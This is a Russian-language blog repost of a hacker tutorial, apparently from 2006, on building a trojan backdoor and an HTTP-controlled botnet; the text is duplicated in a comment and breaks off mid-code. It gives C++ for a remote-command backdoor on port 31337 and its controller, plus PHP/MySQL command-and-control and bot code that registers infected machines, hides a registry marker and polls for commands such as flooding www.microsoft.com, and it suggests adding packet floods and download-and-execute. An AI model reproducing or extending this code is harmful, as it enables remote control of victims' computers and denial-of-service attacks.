• Авторизация


мРять 08-10-2006 10:19 к комментариям - к полной версии - понравилось!


Зомби-сети: дом мертвецов. Ну, во-первых, мы напишем с тобой простейший троян работающий по архитектуре "клиент-сервер". Во-вторых, напишем основу взаимодействия RAT с централизованным сервером по HTTP. IRC я рассматривать не стал так как тема уже затерта до дыр и в сети можно найти достаточное количество реализаций IRC-ботов. Начнем с "клиент-сервера".

Клиент-Сервер

Еще несколько лет назад в сети было огромное количество троянов, работающих по этой архитектуре, сейчас же все принялись за DDoS-ботов, работающих по централизованной архитектуре. Не скажу точно с чем это связано, но, наверное, это сейчас более востребовано, плюс ко всему на это сейчас зарабатывают немаленькие деньги. Back Orrifce, Lamer's Death, AntiLamer Backdoor - все это уже в прошлом. По моему мнению, любой троян имеющий в себе функции RAT должен содержать в себе бэкдор, работающий как раз по архитектуре "клиент-сервер". Писать мы будем на C++ и сервер и клиент. Начать, наверное, стоит с сервера (:

- Как это будет работать

Прежде чем что-то писать, надо разобраться, что требуется от нашего бэкдора. А требуется от него следующее:

Слушать заданный порт
При подключении принимать команду
Обработка команды (парсинг)
Выполнение команды
Смотри: серверная часть трояна слушает заданный порт и обработав команду выполняет ее. Клиентской частью мы будем слать эти самые команды на заданный порт. Ясно?

- Пишем сервер

В реализации все очень просто. Писать будем на WinSock2 API, так, что не забудь заинклудить winsock2.h. Сначала создаем серверный сокет "s" и заполним его структуру:

#define PORT 31337 // порт, на котором будет висеть бэкдор

// ... заполним структуру сокета ... //
SOCKET s; SOCKADDR_IN localaddr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет "s"
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(PORT); // присваиваем порт

bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); // биндим
listen(s, 0); // и ставим на прослушку (:

// это будет наш сокет, принимающий клиентские запросы:
SOCKADDR_IN client_addr;
int client_addr_size=sizeof(client_addr);

Следующие действия будут выполняться при подключении к серверной части трояна клиентом. С помощью accept подключаем клиента, а с помощью функции recv получаем данные от клиента:

while(client_socket = accept(s,(struct sockaddr *)&client_addr,&client_addr_size))
{
recv(client_socket,recvbuffer+strlen(recvbuffer),100,0); // 100 - количество возможных символов,
// принимаемых от клиента.

Отлично, теперь все принятые данные от клиента хранятся в recvbuffer. Остается пропарсить запрос и выполнить его. Проще говоря, получая команду "message hacked _1nf3ct3d_by_1n3ct0r_" мы должны разделить ее на слова и затолкать их в какую-нибудь переменную для последующей обработки. В качестве разделителя команд я использую пробел. Это не совсем удобно, лучше использовать какой-нибудь другой символ, к примеру "*". Тогда клиент будет слать команду примерно так:

message*hacked*1nf3ct3d by 1nf3ct0r

По дальнейшему коду ты поймешь, что данная команда выводит MessageBox с сообщением
"hacked" и заголовком "1nf3ct3d by 1nf3ct0r". Приступим к парсингу:

char* cmd[32];
char* cmdparse = strtok(recvbuffer,"*"); // символ "*" - разделение команд
for(int i = 0; t; cmdparse = strtok(NULL,"*"), i++){ cmd[i] = cmdparse; }

Как видишь, все "слова" команды записываются в массив "cmd". К примеру, получив команду "message*hacked*1nf3ct3d by 1nf3ct0r" от клиента, данные в массиве располагаться будут так:

cmd[0] = message - сама команда (вывод сообщения)
cmd[1] = hacked - параметр 1 (сообщение)
cmd[2] = 1nf3ct3d by 1nf3ct0r - параметр 2 (заголовок)

Вот, собственно пример обработка команды "message":

if (strcmp(cmd[0]], "message")==0){
MessageBox(0,cmd[1],cmd[2],0);
}

Все, готово. Теперь на зараженной машине можно вывести любое сообщение. Рассмотрим второй пример:

// пример обработки команды "monitor_off"
if (strcmp(cmd[0], "monitor_off")==0)
{
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
strcpy(sendbuf,"\n have phun \n"); send(client_socket,sendbuf,strlen(sendbuf),0); }
}

После получения команды "monitor_off" на зараженной машине выключится монитор, а на клиент придет сообщение "have phun" :). Думаю этого хватит и ты реализуешь другие фичи с помощью которых будет возможно полностью управлять зараженным компьютером. Да, кстати. В файлах к статье найдешь полный исходный код серверной и клиентской части. Клиентскую часть я покажу сейчас как писать...

- Пишем клиент

Что должен уметь клиент? Ответ прост:

Возможность отсылки команд
Получение ответа от сервера
Реализуется это очень просто. Для начала снова создадим сокет и заполним его структуры

SOCKADDR_IN my_addr; FD_SET readfds; SOCKET main_socket;

if((main_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))!=-1) // созадим сокет
{
readfds.fd_count=1;
readfds.fd_array[0]=main_socket;
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(31337); // порт бэкдора
my_addr.sin_addr.s_addr=resolve("localhost"); // хост зараженной машины

Здесь встречается функция resolve которая занимается тем, что получает IP адрес машины по ее хосту. Вот код этой функции:

DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}

Теперь приконнектимся к бэкдору и посылаем команду:

printf("[+] Connecting...");
if(!(connect(main_socket,(const struct sockaddr*)&my_addr,sizeof(my_addr))))
{
printf(" done. \n\r\n\r");

strcpy(buffer, "message*hacked*1nf3ct3d by 1nf3ct0r"); // в буфер записываем комманду
send(main_socket,buffer,strlen(buffer),0); // и шлем ее серверу на обработку

Ну и получаем ответ от бэкдора, снова с помощью recv.

int i = 0;
while(i = recv(main_socket,recvbuffer+strlen(recvbuffer),10000,0))
{
printf(recvbuffer);
strcpy(recvbuffer,"");
}
} else { printf(" cant connect. \n\r\n\r");

Вот, собственно, и все. И да, кстати. Чтобы инициализировать WinSock2API перед работой с сокетами пиши:

WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData);

Ну и чтобы закончить - WSACleanup().
Перейдем к управлению по HTTP.

Управление по HTTP

Сейчас я расскажу о приеме команд ботами с HTTP, конечно же это будет централизованная сеть и к тому же данная система позволит сделать распределение команд по ботам. Бота писать мы будем, конечно же, на C++, а скрипт взаимодействия бота с сервером (получение команд и т.д) на PHP+MySQL. Вопреки слухам скажу, что сделать это очень просто, достаточно немного времени, терпения и желания :)

- Как это все будет работать

Для начала следует определиться, как будет работать наша система. Рассмотрим два GET-запроса, передаваемых скрипту нашим ботом:

getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
Как видно из параметров, скрипт имеет два "режима". Первый - добавляет бота в БД (addtodb=1), второй (getcommand=1) - выдает команду. Параметры также говорят сами за себя:

UID - уникальное имя бота, оно генерится при первом запуске бота и записывается в реестр, а при следующих запусках просто копируется от туда.
IP - текущий IP-адрес машины. Без комментариев.
OS - дополнительная информация о системе. Как вариант - имя пользователя, компьютера и версия ОС.
При каждом коннекте к базе данных информация UID, IP, OS будет обновляться. Начнем.

- Заполняем БД

Создавай базу bots и таблицу botscommands в ней. Вот предлагаемая мной структура:

CREATE TABLE `botcommands` (
`uid` varchar(200) NOT NULL default '', # uid бота
`cmd` varchar(200) NOT NULL default '', # команда для бота
`ip` varchar(200) NOT NULL default '', # ip-адрес бота
`os` varchar(200) NOT NULL default '', # сведения о системе
FULLTEXT KEY `uid` (`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

Здесь прибавляется поле CMD, в которой хранится команда для бота. И сразу же толкаем запись в нее, где:

UID = 1nf3ct0r;
IP = 127.0.0.1;
OS = InfectedOS;
CMD = flood www.microsoft.com

Вот так будет выглядит SQL-запрос.

INSERT INTO `botcommands` VALUES ('1nf3ct0r', 'flood www.microsoft.com', '127.0.0.1', 'InfectedOS');

В файлах к статье ты найдешь дамп базы данных с структурой этой таблицы, как собственно и все исходники :). Все. Теперь мы готовы к написанию скриптов. В качестве клиента к MySQL советую использовать phpMyAdmin или RST.MySQL (rst.void.ru).

- Пишем скрипты

Испугался писать работу с базой данных MySQL на PHP? Ничего страшного :) В PHP уже есть готовые функции для работы с ней. Первая функция, которая нам понадобится - коннект к базе данных. Для этого существует функция mysql_connect($host,$login,$password):

$SETS['mysql']['host']='localhost';
$SETS['mysql']['login']='root';
$SETS['mysql']['password']='';
$SETS['mysql']['db']='bots';

$connect=mysql_connect($SETS['mysql']['host'],$SETS['mysql']['login'],$SETS['mysql']['password']);
if ($connect===FALSE) die('Cant connect');

mysql_select_db($SETS['mysql']['db']);

Чтобы это все работало, в 'host' надо записать хост базы данных, в 'login' - логин, в 'password' - пароль а в 'db' - имя базы. А с помощью mysql_select_db($database) мы выбрали базу, которую указали ранее. Следующая функция по сути не менее важная, чем коннект :)). Она нужна для выполнения SQL-запросов. Вот, смотри:

mysql_query($the_query);

Переменная $the_query - это любой SQL-запрос, который должен быть выполнен скриптом. Если у тебя есть проблемы с SQL, то это не страшно. Я покажу тебе пару примеров составления запросов, так как без них никуда. Но это уже походу дела. Посмотрел код? Теперь давай писать самый главный скрипт взаимодействия бота с сервером, я буду называть его getcommander.php. Ставь в начало кода Error_Reporting(0), чтобы он не выплевывал тупые notice, если таковые будут. Окей, теперь давай напишем самый главный код и приступим к самому боту :) Для начала объявим переменные:

$uid=$_GET['uid'];
$ip=$_GET[ip];
$os=$_GET[os];
$getcommand=$_GET[getcommand];
$addtodb=$_GET[addtodb];

Позволь напомнить тебе два запроса:

getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // добавляем в базу обратившись по данному линку мы увидим ответ: done
getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // получаем команду обратившись по данному линку мы увидим ответ: flood www.microsoft.com, а точнее значение поля CMD.
Все. Обрабатываем GetCommand [2]:

if ($getcommand == 1)
{
$result = mysql_query("SELECT cmd FROM botcommands WHERE uid='".$uid."'");
echo mysql_result($result,0);

// и обновляем все данные бота (IP, OS):
mysql_query("UPDATE botcommands SET ip='".$ip."', os='".$os."' WHERE uid='".$uid."'");

Функция mysql_result() возвращает ответ от базы данных, а mysql_query() просто выполняет запрос - в этом главное отличие. Теперь, собственно о SQL-запросах. Я расскажу совсем чуть-чуть, чтобы ты понял о чем идет речь, но советую разобраться с этим получше, так как SQL, на самом деле очень полезная штука :).

Запрос SELECT cmd FROM botcommands WHERE uid= возвратит значение поля cmd из таблицы botcommands принадлежащей uid = уид. Результатом выполнения запроса SELECT cmd FROM botcommands WHERE uid='h4x0r' будет floot it.org. Запрос UPDATE botcommands SET ip=, os= WHERE uid= обновит значения полей. Пример:

UPDATE botcommands SET ip=31.33.73.00, os=some_info WHERE uid=1nf3ct0r

В результате запись из БД будет выглядеть так:

1nf3ct0r 31.33.73.00 some_info hacktheplan8

Теперь рассмотрим кусок кода, который добавит бота в базу данных:

} else if ($addtodb == 1)
{
echo "done";
mysql_query("INSERT INTO botcommands (uid,ip,os) VALUES ('".$uid."','".$ip."','".$os."')");
}

что касается echo "done" - то не убирай эту строку, она нам понадобится чуть позже, при проверке валидного добавления, в базу. Но об этом позже. Все, можешь смело сохранять скрипт - он готов. Что же касается админки - пиши сам :). Пишем соответствующие функции для бота? ;)

- А теперь примемся за бота...

Рассмотрим главную функцию бота:

int main()
{
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); // инициализируем WinSock2 API

LONG sz; char buf[2]; HKEY key;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\ Windows Media\\WMSDTT", 0, KEY_QUERY_VALUE, &key)==ERROR_SUCCESS)
{getcommand("getcommand");} else { getcommand("addtobase"); }

WSACleanup();
return 0;
}

Фишка тут в следующем. Если бот уже был добавлен в базу, то создастся ключ в реестре по адресу Software\Microsoft\Windows Media\WMSDTT. Если таковой не откроется, то мы добавим себя в базу, это опять таки походу статьи Функция getcommand имеет параметр _action: getcommand(char* _action).

Сам _action двух типов:

getcommand
при этом параметре выполняется получение команды с вэба, через тот самый скрипт который мы писали.
addtobase
бот добавляется в базу :)
Смотри код:

char *param;
if (_action == "addtobase")
{
param = "?addtodb=1&uid=0x48k&ip=127.0.0.2&os=1nf3ct3dOS";
} else if (_action = "getcommand")
{
param = "?getcommand=1&uid=1nf3ct0r&ip=127.0.0.1&os=Windows%20XP%20SP2";
}

Я не стал писать функцию получения инфы IP, OS и генерации UID - ты сам прекрасно с этим справишься, если захочешь. Отправку GET-пакета и получение ответа от сервера я писал на сокетах. Этот момент мы тоже не пропустим :)

#define HOST "localhost"
#define COMMAND "/z0mbie/getcommand.php"

char sendbuffer[1024], recvbuffer[1024];
memset(recvbuffer,0,1024);
// Формируем GET-пакет:
strcpy(sendbuffer, "GET ");
strcat(sendbuffer, COMMAND);
strcat(sendbuffer, param);
strcat(sendbuffer, " HTTP/1.0\r\nHost: ");
strcat(sendbuffer, HOST);
strcat(sendbuffer, "\r\n\r\n");

Создаем сокет, заполняем его структуры:

SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(HOST); // ф-ию резолва я уже описывал :)
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);

Коннектимся к серверу и шлем пакет:

if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1;
send(s, sendbuffer, strlen(sendbuffer),0);
Sleep(2000);

Получаем ответ от вэб сервера:

int i;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) // получаем ответ
{if (i == SOCKET_ERROR) return -1;}

Парсим его:

char *temp,*token;
for(int i = 0; recvbuffer[i]!=0; ++i) // отбрасываем заголовок
{
if((recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
(recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
{temp = (char*)&recvbuffer[i] + 4;break;}
}
if(strcmp(temp,"")==0) { temp = "no_commands"; }
token = strtok(temp, " \r\n"); // делим файл на слова

char *serv,*chan,*times,*freq,*msg;
char *port;

Вот теперь, внимание! Помнишь тот самый echo "done" в php-скрипте? Это нам понадобится для того, чтобы проверить реально ли добавился бот в базу. Например, если сервер упал :) При получении строки "done" бот создает ключ в реестре, по которому в дальнейшем ориентируется добавляться в базу или нет.

if(strcmp(token,"done")==0)
{
HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows Media\\WMSDTT", &hk);
}

А вот пример парсинга с получением семи параметров для некой функции ircflood - она есть в исходнике к статье, грубо говоря это распределенный флудер IRC-серверов. Вот парсинг:

else if(strcmp(token,"ircflood")==0)
{
for (int i = 0; i <6; i++){
token = strtok(NULL, " \r\n");
if (i==0) { serv = token; } // получаем 1ый параметр (сервер)
if (i==1) { port = token; } // получаем 2ый параметр (порт)
if (i==2) { chan = token; } // получаем 4ый параметр (канал)
if (i==3) { times = token; } // получаем 5ый параметр (кол-во коннектов)
if (i==4) { freq = token; } // получаем 6ый параметр (частоту отсыла)
if (i==5) { msg = token; } // получаем 7ой параметр (мессагу)
}

Вот и все. Готово. Никто не мешает тебе добавить новые функции, такие как флуд HTTP/ICMP/UDP/SYN пакетами или скачку и запуск любого EXE-файла.

Заключение

В этой статье мы очень подробно разобрали управление по HTTP и архитектуру "клиент-сервер". Готовые реализации с сорсами ты найдешь в файлах к статье. В общем, если было что-то непонятно:

Читай первую часть статьи
Разбирись с WinSock2 API и смотри файлы к статье.
Пиши мне на мыло и учись юзать google.
На сегодня хватит. Все свободны :)

http://inattack.ru/print_article/453.html
вверх^ к полной версии понравилось! в evernote
Комментарии (12):
д-р_АГОН 08-10-2006-10:24 удалить
Зомби-сети: дом мертвецов
INATTACK.RU :: Архив документации для хакера


Вступление

Данная статья является продолжением моей статьи "Зомби-сети: Рассвет Мертвецов". На мой email пришло много вопросов по поводу реализаций управления RAT. Так что я решил рассказать об этом подробнее. Ну, во-первых, мы напишем с тобой простейший троян, работающий по архитектуре "клиент-сервер". Во-вторых, напишем основу взаимодействия RAT с централизованным сервером по HTTP. IRC я рассматривать не стал так как тема уже затерта до дыр и в сети можно найти достаточное количество реализаций IRC-ботов. Начнем с "клиент-сервера".

Клиент-Сервер

Еще несколько лет назад в сети было огромное количество троянов, работающих по этой архитектуре, сейчас же все принялись за DDoS-ботов, работающих по централизованной архитектуре. Не скажу точно с чем это связано, но, наверное, это сейчас более востребовано, плюс ко всему на это сейчас зарабатывают немаленькие деньги. Back Orrifce, Lamer's Death, AntiLamer Backdoor - все это уже в прошлом. По моему мнению, любой троян, имеющий в себе функции RAT должен содержать в себе бэкдор, работающий как раз по архитектуре "клиент-сервер". Писать мы будем на C++ и сервер и клиент. Начать, наверное, стоит с сервера (:

- Как это будет работать

Прежде чем что-то писать, надо разобраться, что требуется от нашего бэкдора. А требуется от него следующее:

Слушать заданный порт
При подключении принимать команду
Обработка команды (парсинг)
Выполнение команды
Смотри: серверная часть трояна слушает заданный порт и обработав команду выполняет ее. Клиентской частью мы будем слать эти самые команды на заданный порт. Ясно?

- Пишем сервер

В реализации все очень просто. Писать будем на WinSock2 API, так, что не забудь заинклудить winsock2.h. Сначала создаем серверный сокет "s" и заполним его структуру:

#define PORT 31337 // порт, на котором будет висеть бэкдор

// ... заполним структуру сокета ... //
SOCKET s; SOCKADDR_IN localaddr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет "s"
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(PORT); // присваиваем порт

bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); // биндим
listen(s, 0); // и ставим на прослушку (:

// это будет наш сокет, принимающий клиентские запросы:
SOCKADDR_IN client_addr;
int client_addr_size=sizeof(client_addr);

Следующие действия будут выполняться при подключении к серверной части трояна клиентом. С помощью accept подключаем клиента, а с помощью функции recv получаем данные от клиента:

while(client_socket = accept(s,(struct sockaddr *)&client_addr,&client_addr_size))
{
recv(client_socket,recvbuffer+strlen(recvbuffer),100,0); // 100 - количество возможных символов,
// принимаемых от клиента.

Отлично, теперь все принятые данные от клиента хранятся в recvbuffer. Остается пропарсить запрос и выполнить его. Проще говоря, получая команду "message hacked _1nf3ct3d_by_1n3ct0r_" мы должны разделить ее на слова и затолкать их в какую-нибудь переменную для последующей обработки. В качестве разделителя команд я использую пробел. Это не совсем удобно, лучше использовать какой-нибудь другой символ, к примеру "*". Тогда клиент будет слать команду примерно так:

message*hacked*1nf3ct3d by 1nf3ct0r

По дальнейшему коду ты поймешь, что данная команда выводит MessageBox с сообщением
"hacked" и заголовком "1nf3ct3d by 1nf3ct0r". Приступим к парсингу:

char* cmd[32];
char* cmdparse = strtok(recvbuffer,"*"); // символ "*" - разделение команд
for(int i = 0; t; cmdparse = strtok(NULL,"*"), i++){ cmd[i] = cmdparse; }

Как видишь, все "слова" команды записываются в массив "cmd". К примеру, получив команду "message*hacked*1nf3ct3d by 1nf3ct0r" от клиента, данные в массиве располагаться будут так:

cmd[0] = message - сама команда (вывод сообщения)
cmd[1] = hacked - параметр 1 (сообщение)
cmd[2] = 1nf3ct3d by 1nf3ct0r - параметр 2 (заголовок)

Вот, собственно пример обработка команды "message":

if (strcmp(cmd[0]], "message")==0){
MessageBox(0,cmd[1],cmd[2],0);
}

Все, готово. Теперь на зараженной машине можно вывести любое сообщение. Рассмотрим второй пример:

// пример обработки команды "monitor_off"
if (strcmp(cmd[0], "monitor_off")==0)
{
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
strcpy(sendbuf,"\n have phun \n"); send(client_socket,sendbuf,strlen(sendbuf),0); }
}

После получения команды "monitor_off" на зараженной машине выключится монитор, а на клиент придет сообщение "have phun" :). Думаю этого хватит и ты реализуешь другие фичи с помощью которых будет возможно полностью управлять зараженным компьютером. Да, кстати. В файлах к статье найдешь полный исходный код серверной и клиентской части. Клиентскую часть я покажу сейчас как писать...

- Пишем клиент

Что должен уметь клиент? Ответ прост:

Возможность отсылки команд
Получение ответа от сервера
Реализуется это очень просто. Для начала снова создадим сокет и заполним его структуры

SOCKADDR_IN my_addr; FD_SET readfds; SOCKET main_socket;

if((main_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))!=-1) // созадим сокет
{
readfds.fd_count=1;
readfds.fd_array[0]=main_socket;
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(31337); // порт бэкдора
my_addr.sin_addr.s_addr=resolve("localhost"); // хост зараженной машины

Здесь встречается функция resolve которая занимается тем, что получает IP адрес машины по ее хосту. Вот код этой функции:

DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}

Теперь приконнектимся к бэкдору и посылаем команду:

printf("[+] Connecting...");
if(!(connect(main_socket,(const struct sockaddr*)&my_addr,sizeof(my_addr))))
{
printf(" done. \n\r\n\r");

strcpy(buffer, "message*hacked*1nf3ct3d by 1nf3ct0r"); // в буфер записываем комманду
send(main_socket,buffer,strlen(buffer),0); // и шлем ее серверу на обработку

Ну и получаем ответ от бэкдора, снова с помощью recv.

int i = 0;
while(i = recv(main_socket,recvbuffer+strlen(recvbuffer),10000,0))
{
printf(recvbuffer);
strcpy(recvbuffer,"");
}
} else { printf(" cant connect. \n\r\n\r");

Вот, собственно, и все. И да, кстати. Чтобы инициализировать WinSock2API перед работой с сокетами пиши:

WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData);

Ну и чтобы закончить - WSACleanup().
Перейдем к управлению по HTTP.

Управление по HTTP

Сейчас я расскажу о приеме команд ботами с HTTP, конечно же это будет централизованная сеть и к тому же данная система позволит сделать распределение команд по ботам. Бота писать мы будем, конечно же, на C++, а скрипт взаимодействия бота с сервером (получение команд и т.д) на PHP+MySQL. Вопреки слухам скажу, что сделать это очень просто, достаточно немного времени, терпения и желания :)

- Как это все будет работать

Для начала следует определиться, как будет работать наша система. Рассмотрим два GET-запроса, передаваемых скрипту нашим ботом:

getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
Как видно из параметров, скрипт имеет два "режима". Первый - добавляет бота в БД (addtodb=1), второй (getcommand=1) - выдает команду. Параметры также говорят сами за себя:

UID - уникальное имя бота, оно генерится при первом запуске бота и записывается в реестр, а при следующих запусках просто копируется от туда.
IP - текущий IP-адрес машины. Без комментариев.
OS - дополнительная информация о системе. Как вариант - имя пользователя, компьютера и версия ОС.
При каждом коннекте к базе данных информация UID, IP, OS будет обновляться. Начнем.

- Заполняем БД

Создавай базу bots и таблицу botscommands в ней. Вот предлагаемая мной структура:

CREATE TABLE `botcommands` (
`uid` varchar(200) NOT NULL default '', # uid бота
`cmd` varchar(200) NOT NULL default '', # команда для бота
`ip` varchar(200) NOT NULL default '', # ip-адрес бота
`os` varchar(200) NOT NULL default '', # сведения о системе
FULLTEXT KEY `uid` (`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

Здесь прибавляется поле CMD, в которой хранится команда для бота. И сразу же толкаем запись в нее, где:

UID = 1nf3ct0r;
IP = 127.0.0.1;
OS = InfectedOS;
CMD = flood www.microsoft.com

Вот так будет выглядит SQL-запрос.

INSERT INTO `botcommands` VALUES ('1nf3ct0r', 'flood www.microsoft.com', '127.0.0.1', 'InfectedOS');

В файлах к статье ты найдешь дамп базы данных с структурой этой таблицы, как собственно и все исходники :). Все. Теперь мы готовы к написанию скриптов. В качестве клиента к MySQL советую использовать phpMyAdmin или RST.MySQL (rst.void.ru).

- Пишем скрипты

Испугался писать работу с базой данных MySQL на PHP? Ничего страшного :) В PHP уже есть готовые функции для работы с ней. Первая функция, которая нам понадобится - коннект к базе данных. Для этого существует функция mysql_connect($host,$login,$password):

$SETS['mysql']['host']='localhost';
$SETS['mysql']['login']='root';
$SETS['mysql']['password']='';
$SETS['mysql']['db']='bots';

$connect=mysql_connect($SETS['mysql']['host'],$SETS['mysql']['login'],$SETS['mysql']['password']);
if ($connect===FALSE) die('Cant connect');

mysql_select_db($SETS['mysql']['db']);

Чтобы это все работало, в 'host' надо записать хост базы данных, в 'login' - логин, в 'password' - пароль, а в 'db' - имя базы. А с помощью mysql_select_db($database) мы выбрали базу, которую указали ранее. Следующая функция по сути не менее важная, чем коннект :)). Она нужна для выполнения SQL-запросов. Вот, смотри:

mysql_query($the_query);

Переменная $the_query - это любой SQL-запрос, который должен быть выполнен скриптом. Если у тебя есть проблемы с SQL, то это не страшно. Я покажу тебе пару примеров составления запросов, так как без них никуда. Но это уже походу дела. Посмотрел код? Теперь давай писать самый главный скрипт взаимодействия бота с сервером, я буду называть его getcommander.php. Ставь в начало кода Error_Reporting(0), чтобы он не выплевывал тупые notice, если таковые будут. Окей, теперь давай напишем самый главный код и приступим к самому боту :) Для начала объявим переменные:

$uid=$_GET['uid'];
$ip=$_GET[ip];
$os=$_GET[os];
$getcommand=$_GET[getcommand];
$addtodb=$_GET[addtodb];

Позволь напомнить тебе два запроса:

getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // добавляем в базу обратившись по данному линку мы увидим ответ: done
getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // получаем команду обратившись по данному линку мы увидим ответ: flood www.microsoft.com, а точнее значение поля CMD.
Все. Обрабатываем GetCommand [2]:

if ($getcommand == 1)
{
$result = mysql_query("SELECT cmd FROM botcommands WHERE uid='".$uid."'");
echo mysql_result($result,0);

// и обновляем все данные бота (IP, OS):
mysql_query("UPDATE botcommands SET ip='".$ip."', os='".$os."' WHERE uid='".$uid."'");

Функция mysql_result() возвращает ответ от базы данных, а mysql_query() просто выполняет запрос - в этом главное отличие. Теперь, собственно о SQL-запросах. Я расскажу совсем чуть-чуть, чтобы ты понял о чем идет речь, но советую разобраться с этим получше, так как SQL, на самом деле очень полезная штука :).

Запрос SELECT cmd FROM botcommands WHERE uid= возвратит значение поля cmd из таблицы botcommands принадлежащей uid = уид. Результатом выполнения запроса SELECT cmd FROM botcommands WHERE uid='h4x0r' будет floot it.org. Запрос UPDATE botcommands SET ip=, os= WHERE uid= обновит значения полей. Пример:

UPDATE botcommands SET ip=31.33.73.00, os=some_info WHERE uid=1nf3ct0r

В результате запись из БД будет выглядеть так:

1nf3ct0r 31.33.73.00 some_info hacktheplan8

Теперь рассмотрим кусок кода, который добавит бота в базу данных:

} else if ($addtodb == 1)
{
echo "done";
mysql_query("INSERT INTO botcommands (uid,ip,os) VALUES ('".$uid."','".$ip."','".$os."')");
}

что касается echo "done" - то не убирай эту строку, она нам понадобится чуть позже, при проверке валидного добавления, в базу. Но об этом позже. Все, можешь смело сохранять скрипт - он готов. Что же касается админки - пиши сам :). Пишем соответствующие функции для бота? ;)

- А теперь примемся за бота...

Рассмотрим главную функцию бота:

int main()
{
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); // инициализируем WinSock2 API

LONG sz; char buf[2]; HKEY key;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\ Windows Media\\WMSDTT", 0, KEY_QUERY_VALUE, &key)==ERROR_SUCCESS)
{getcommand("getcommand");} else { getcommand("addtobase"); }

WSACleanup();
return 0;
}

Фишка тут в следующем. Если бот уже был добавлен в базу, то создастся ключ в реестре по адресу Software\Microsoft\Windows Media\WMSDTT. Если таковой не откроется, то мы добавим себя в базу, это опять таки походу статьи. Функция getcommand имеет параметр _action: getcommand(char* _action).

Сам _action двух типов:

getcommand
при этом параметре выполняется получение команды с вэба, через тот самый скрипт который мы писали.
addtobase
бот добавляется в базу :)
Смотри код:

char *param;
if (_action == "addtobase")
{
param = "?addtodb=1&uid=0x48k&ip=127.0.0.2&os=1nf3ct3dOS";
} else if (_action = "getcommand")
{
param = "?getcommand=1&uid=1nf3ct0r&ip=127.0.0.1&os=Windows%20XP%20SP2";
}

Я не стал писать функцию получения инфы IP, OS и генерации UID - ты сам прекрасно с этим справишься, если захочешь. Отправку GET-пакета и получение ответа от сервера я писал на сокетах. Этот момент мы тоже не пропустим :)

#define HOST "localhost"
#define COMMAND "/z0mbie/getcommand.php"

char sendbuffer[1024], recvbuffer[1024];
memset(recvbuffer,0,1024);
// Формируем GET-пакет:
strcpy(sendbuffer, "GET ");
strcat(sendbuffer, COMMAND);
strcat(sendbuffer, param);
strcat(sendbuffer, " HTTP/1.0\r\nHost: ");
strcat(sendbuffer, HOST);
strcat(sendbuffer, "\r\n\r\n");

Создаем сокет, заполняем его структуры:

SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(HOST); // ф-ию резолва я уже описывал :)
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);

Коннектимся к серверу и шлем пакет:

if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1;
send(s, sendbuffer, strlen(sendbuffer),0);
Sleep(2000);

Получаем ответ от вэб сервера:

int i;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) // получаем ответ
{if (i == SOCKET_ERROR) return -1;}

Парсим его:

char *temp,*token;
for(int i = 0; recvbuffer[i]!=0; ++i) // отбрасываем заголовок
{
if((recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
(recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
